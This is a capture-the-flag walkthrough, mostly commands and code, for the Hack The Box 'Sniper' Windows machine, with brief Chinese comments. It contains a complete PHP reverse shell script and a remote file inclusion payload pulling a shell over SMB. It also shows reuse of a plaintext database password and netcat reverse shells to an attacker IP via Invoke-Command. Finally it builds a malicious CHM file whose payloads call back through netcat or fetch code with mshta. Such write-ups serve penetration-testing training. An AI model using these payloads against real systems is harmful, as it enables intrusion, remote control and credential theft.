IP Address | Opening Ports |
---|---|
10.10.10.151 | TCP:80,135,139,445,49667 |
$ nmap -p- 10.10.10.151 --min-rate 1000 -sC -sV -Pn
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
http://10.10.10.151/
$ feroxbuster --url http://10.10.10.151/
$ curl 'http://10.10.10.151/blog/?lang=/windows/win.ini'
$ impacket-smbserver share /tmp/ -smb2support
<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
private $sdump = true; // script's dump
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
$os = PHP_OS;
if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
// once daemonized, you will actually no longer see the script's dump
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
if ($this->sdump) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// so we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('127.0.0.1', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
http://10.10.10.151/blog/?lang=\\10.10.16.9\share\shell.php
C:\inetpub\wwwroot\user>type C:\inetpub\wwwroot\user\db.php
username:dbuser password:36mEAhz/B8xQ~2VM
切换用户
$ crackmapexec smb 10.10.10.151 -u chris -p '36mEAhz/B8xQ~2VM'
PS C:\inetpub\wwwroot\blog> $user = "Sniper\Chris"
PS C:\inetpub\wwwroot\blog> $pass = "36mEAhz/B8xQ~2VM"
PS C:\inetpub\wwwroot\blog> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\blog> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\blog> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { \\10.10.16.9\share\nc64.exe -e powershell.exe 10.10.16.9 10033} -Credential $cred -Computer localhost
bb3a48f141bbd9655f1a6b7ab5ddf738
PS C:\Users\Chris\Downloads> dir C:\Users\Chris\Downloads
PS C:\Users\Chris\Downloads> copy C:\Users\Chris\Downloads\instructions.chm \\10.10.16.9\share\instructions.chm
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
安装HTML Help Workshop
https://archive.org/details/htmlhelp
PS C:\CHM> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
PS C:\CHM> Import-Module .\Out-CHM.ps1
PS C:\CHM> Out-CHM -Payload "/Docs/nc64.exe -e cmd 10.10.16.9 10034" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
C:\Docs>copy \\10.10.16.9\share\nc64.exe .
C:\Docs>copy \\10.10.16.9\share\doc.chm .
同样可以使用koadic无文件落地反向shell,这是一个我比较推荐的方法
PS C:\CHM> Out-CHM -Payload "powershell.exe /c mshta http://10.10.16.9:9999/MkvTv" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
PS C:\Docs> copy \\10.10.16.9\share\doc.chm .
9f260cba125a007077d26b18f1a5028d